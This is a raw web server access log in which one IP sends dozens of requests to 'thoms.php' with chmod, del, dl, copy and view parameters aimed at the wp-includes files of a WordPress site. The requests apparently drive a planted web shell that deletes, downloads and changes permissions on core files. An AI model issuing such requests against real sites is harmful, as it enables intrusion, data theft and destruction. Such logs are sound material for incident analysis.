45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?chmod=vars.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?chmod=sitemaps&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15101 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15500 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?chmod=Requests&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57897 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:47 -0400] "GET /thoms.php?dl=capabilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12631 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15888 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 200 18021 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13896 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:48 -0400] "GET /thoms.php?dl=error_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?chmod=default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?del=embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?chmod=registration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?del=pluggable.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17022 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?del=php-ai-client&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:50 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19819 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:49 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57638 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:51 -0400] "GET /thoms.php?del=revision.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:52 -0400] "GET /thoms.php?del=script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57902 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:54 -0400] "GET /thoms.php?del=error_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57902 "http://163.245.207.76:443/thoms.php?del=error_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19325 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:58 -0400] "GET /thoms.php?chmod=rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:58 -0400] "GET /thoms.php?chmod=theme-previews.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:59 -0400] "GET /thoms.php?del=ai-client&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=ai-client&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:00 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57916 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:01 -0400] "GET /thoms.php?dl=media-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpluggable.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpluggable.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:03 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13630 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:06 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:06 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:07 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18772 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:07 -0400] "GET /thoms.php?dl=ms-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57855 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:08 -0400] "GET /thoms.php?chmod=class-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:09 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15627 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:09 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:09 -0400] "GET /thoms.php?dl=class-wp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:10 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:10 -0400] "GET /thoms.php?del=ms-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:11 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12356 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fkses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fkses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcanonical.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcanonical.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:11 -0400] "GET /thoms.php?del=class-wp-locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:11 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:12 -0400] "GET /thoms.php?dl=feed-rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
